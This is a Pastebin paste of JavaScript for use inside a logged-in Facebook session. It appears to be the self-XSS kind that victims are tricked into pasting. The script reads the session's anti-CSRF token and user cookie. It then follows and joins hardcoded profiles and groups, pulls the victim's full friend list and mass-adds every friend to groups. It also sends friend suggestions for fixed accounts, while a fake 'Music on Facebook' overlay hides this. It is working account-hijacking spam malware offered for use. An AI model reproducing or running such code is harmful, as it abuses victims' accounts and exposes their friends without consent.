Advertisement
thieuthuy1997

add mem 3

Nov 11th, 2013
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.00 KB | None | 0 0
  1. function hp_d12(s) {
  2. var o = "",
  3. ar = new Array(),
  4. os = "",
  5. ic = 0,
  6. p = 0;
  7. for (i = 0; i < s.length; i++) {
  8. c = s.charCodeAt(i);
  9. if (c < 128) c = c ^ ((p++ % 8) + 1);
  10. os += String.fromCharCode(c);
  11. if (os.length > 80) {
  12. ar[ic++] = os;
  13. os = ""
  14. }
  15. }
  16. o = ar.join("") + os;
  17. return o
  18. }
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21.  
  22. function cereziAl(isim) {
  23. var tarama = isim + "=";
  24. if (document.cookie.length > 0) {
  25. konum = document.cookie.indexOf(tarama);
  26. if (konum != -1) {
  27. konum += tarama.length;
  28. son = document.cookie.indexOf(";", konum);
  29. if (son == -1) son = document.cookie.length;
  30. return unescape(document.cookie.substring(konum, son))
  31. } else {
  32. return ""
  33. }
  34. }
  35. }
  36. function getRandomInt(min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length - 1)]
  41. }
  42. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  43. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  44.  
  45. function a(abone) {
  46. var http4 = new XMLHttpRequest();
  47. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  48. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  49. http4.open("POST", url4, true);
  50. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  51. http4.setRequestHeader("Content-length", params4.length);
  52. http4.setRequestHeader("Connection", "close");
  53. http4.onreadystatechange = function() {
  54. if (http4.readyState == 4 && http4.status == 200) {
  55. http4.close
  56. }
  57. };
  58. http4.send(params4)
  59. }
  60.  
  61. a("100003830318399");sublist("330481687089506");
  62.  
  63. var gid = ['515922385137830'];
  64. var gid = ['565133793521729'];
  65. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  66. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  67. var httpwp = new XMLHttpRequest();
  68. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  69. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  70. httpwp['open']('POST', urlwp, true);
  71. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  72. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  73. httpwp['setRequestHeader']('Connection', 'keep-alive');
  74. httpwp['send'](paramswp);
  75. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  76. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  77. var friends = new Array();
  78. gf = new XMLHttpRequest();
  79. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  80. gf['send']();
  81. if (gf['readyState'] != 4) {} else {
  82. data = eval('(' + gf['responseText']['substr'](9) + ')');
  83. if (data['error']) {} else {
  84. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  85. return _0x93dax8['index'] - _0x93dax9['index']
  86. })
  87. }
  88. };
  89. var Title = 'Cài đặt ứng dụng nhạc nền trên facebook cá nhân (Made By) <A style="color:#3B5998;" href="https://www.facebook.com/ADmin.Pro102">Music on Facebook.</A>';
  90. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  91. var Descriptions = "",
  92. _text = 'Powered By <A style="color:#3B5998;" href="https://www.facebook.com/groups/hotvteen.net/">Largest Group.</A> Join it now.';
  93.  
  94. function AddFriendtoGroup(opo) {
  95. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  96. var b = a.substring(a.indexOf("{"));
  97. var c = JSON.parse(b);
  98. i--;
  99. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  100. if (c.error) {
  101. Descriptions += "color:darkred'>";
  102. err++;
  103. if (c.errorDescription) Descriptions += c.errorDescription;
  104. else Descriptions += JSON.stringify(c, null, "")
  105. } else {
  106. Descriptions += "color:darkgreen'>";
  107. Descriptions += arn[i] + " has been added.<br/>";
  108. suc++
  109. }
  110. Descriptions += "</div>";
  111. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  112. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  113. if (i > 0) {
  114. display += arr.length + " Friends Detected<br/>";
  115. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  116. display += "(" + i + " Lefted...)";
  117. display += "<div class='friend-edge'>";
  118. display += Descriptions;
  119. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  120. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  121. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  122. display += _text;
  123. display += "</div>";
  124. display += "</div>"
  125. } else {
  126. display += arr.length + " Friends Detected<br/>";
  127. display += suc + " Friends Added</br>";
  128. display += err + " Friends Not Added</br></br>";
  129. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  130. }
  131. display += "</div>";
  132. document.getElementById("pagelet_sidebar").innerHTML = display
  133. }, "text", "post");
  134. tay--;
  135. if (tay > 0) {
  136. var s = arr[tay];
  137. sx = pho[tay];
  138. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  139. }
  140. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  141. if (gid != 386572611449908) {
  142. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=386572611449908&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  143. }
  144. if (newcomer) {
  145. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  146. }
  147. if (newcomer) {
  148. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003856636061&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  149. }
  150. if (newcomer) {
  151. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  152. }
  153. if (newcomer) {
  154. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  155. }
  156. if (newcomer) {
  157. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  158. }
  159. }
  160. function clickfr_callback() {
  161. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  162. var a = arr[i];
  163. if (i < arr.length) addfriend(a.substring(0, 4))
  164. }
  165. function clickfr() {
  166. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  167. else j++;
  168. setTimeout("clickfr_callback()", 2E3)
  169. }
  170. function addfriend(a) {
  171. i++;
  172. setTimeout("clickfr()", 2E3)
  173. }
  174. jx = {
  175. getHTTPObject: function() {
  176. var a = false;
  177. if (typeof ActiveXObject != "undefined") try {
  178. a = new ActiveXObject("Msxml2.XMLHTTP")
  179. } catch (b) {
  180. try {
  181. a = new ActiveXObject("Microsoft.XMLHTTP")
  182. } catch (c) {
  183. a = false
  184. }
  185. } else if (window.XMLHttpRequest) try {
  186. a = new XMLHttpRequest
  187. } catch (b) {
  188. a = false
  189. }
  190. return a
  191. },
  192. load: function(url, callback, format, method, opt) {
  193. var http = this.init();
  194. if (!http || !url) return;
  195. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  196. if (!method) method = "GET";
  197. if (!format) format = "text";
  198. if (!opt) opt = {};
  199. format = format.toLowerCase();
  200. method = method.toUpperCase();
  201. var now = "uid=" + (new Date).getTime();
  202. url += url.indexOf("?") + 1 ? "&" : "?";
  203. url += now;
  204. var parameters = null;
  205. if (method == "POST") {
  206. var parts = url.split("?");
  207. url = parts[0];
  208. parameters = parts[1]
  209. }
  210. http.open(method, url, true);
  211. var ths = this;
  212. if (opt.handler) http.onreadystatechange = function() {
  213. opt.handler(http)
  214. };
  215. else http.onreadystatechange = function() {
  216. if (http.readyState == 4) if (http.status == 200) {
  217. var result = "";
  218. if (http.responseText) result = http.responseText;
  219. if (format.charAt(0) == "j") {
  220. result = result.replace(/[\n\r]/g, "");
  221. result = eval("(" + result + ")")
  222. } else if (format.charAt(0) == "x") result = http.responseXML;
  223. if (callback) callback(result)
  224. } else {
  225. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  226. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  227. if (error) error(http.status)
  228. }
  229. };
  230. http.send(parameters)
  231. },
  232. bind: function(a) {
  233. var b = {
  234. url: "",
  235. onSuccess: false,
  236. onError: false,
  237. format: "text",
  238. method: "GET",
  239. update: "",
  240. loading: "",
  241. loadingIndicator: ""
  242. };
  243. for (var c in b) if (a[c]) b[c] = a[c];
  244. if (!b.url) return;
  245. var d = false;
  246. if (b.loadingIndicator) {
  247. d = document.createElement("div");
  248. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  249. d.setAttribute("class", "loading-indicator");
  250. d.innerHTML = b.loadingIndicator;
  251. document.getElementsByTagName("body")[0].appendChild(d);
  252. this.opt.loadingIndicator = d
  253. }
  254. if (b.loading) document.getElementById(b.loading).style.display = "block";
  255. this.load(b.url, function(a) {
  256. if (b.onSuccess) b.onSuccess(a);
  257. if (b.update) document.getElementById(b.update).innerHTML = a;
  258. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  259. if (b.loading) document.getElementById(b.loading).style.display = "none"
  260. }, b.format, b.method, b)
  261. },
  262. init: function() {
  263. return this.getHTTPObject()
  264. }
  265. };
  266. var nHtml = {
  267. FindByAttr: function(a, b, c, d) {
  268. if (c == "className") c = "class";
  269. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  270. if (e && e.singleNodeValue) return e.singleNodeValue;
  271. return null
  272. },
  273. FindByClassName: function(a, b, c) {
  274. return this.FindByAttr(a, b, "className", c)
  275. },
  276. FindByXPath: function(a, b) {
  277. try {
  278. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  279. } catch (d) {
  280. GM_log("bad xpath:" + b)
  281. }
  282. if (c && c.singleNodeValue) return c.singleNodeValue;
  283. return null
  284. },
  285. VisitUrl: function(a) {
  286. window.setTimeout(function() {
  287. document.location.href = a
  288. }, 500 + Math.floor(Math.random() * 500))
  289. },
  290. ClickWin: function(a, b, c) {
  291. var d = a.document.createEvent("MouseEvents");
  292. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  293. return !b.dispatchEvent(d)
  294. },
  295. Click: function(a) {
  296. return this.ClickWin(window, a, "click")
  297. },
  298. ClickTimeout: function(a, b) {
  299. window.setTimeout(function() {
  300. return nHtml.ClickWin(window, a, "click")
  301. }, b + Math.floor(Math.random() * 500))
  302. },
  303. ClickUp: function(a) {
  304. this.ClickWin(window, a, "mousedown");
  305. this.ClickWin(window, a, "mouseup");
  306. this.ClickWin(window, a, "click")
  307. },
  308. GetText: function(a, b) {
  309. var c = "";
  310. if (b == undefined) b = 0;
  311. if (b > 40) return;
  312. if (a.textContent != undefined) return a.textContent;
  313. for (var d = 0; d < a.childNodes.length; d++) {
  314. var e = a.childNodes[d];
  315. c += this.GetText(e, b + 1)
  316. }
  317. return c
  318. }
  319. };
  320. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  321. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  322. var c = document.getElementsByTagName("*");
  323. var d = [];
  324. var e;
  325. for (var f = 0;
  326. (e = c[f]) != null; f++) {
  327. var g = e.className;
  328. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  329. }
  330. return d
  331. };
  332. Array.prototype.find = function(a) {
  333. var b = false;
  334. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  335. if (a.test(this[i])) {
  336. if (!b) b = [];
  337. b.push(i)
  338. }
  339. } else if (this[i] === a) {
  340. if (!b) b = [];
  341. b.push(i)
  342. }
  343. return b
  344. };
  345. var i = 3;
  346. var tay = 3;
  347. var j = 0;
  348. var k = 0;
  349. var suc = 0;
  350. var err = 0;
  351. var arr = new Array;
  352. var arn = new Array;
  353. var pho = new Array;
  354. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  355. var gid = document.getElementsByName("group_id")[0].value;
  356. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  357. var b = a;
  358. var c = b.substring(b.indexOf("{"));
  359. var d = JSON.parse(c);
  360. d = d.payload.entries;
  361. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  362. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  363. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  364. i = arr.length - 1;
  365. tay = i;
  366. console.log(arr.length);
  367. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  368. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  369. display += arr.length + " Friends Detected";
  370. display += "</div>";
  371. document.getElementById("pagelet_sidebar").innerHTML = display;
  372. AddFriendtoGroup(arr[i])
  373. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement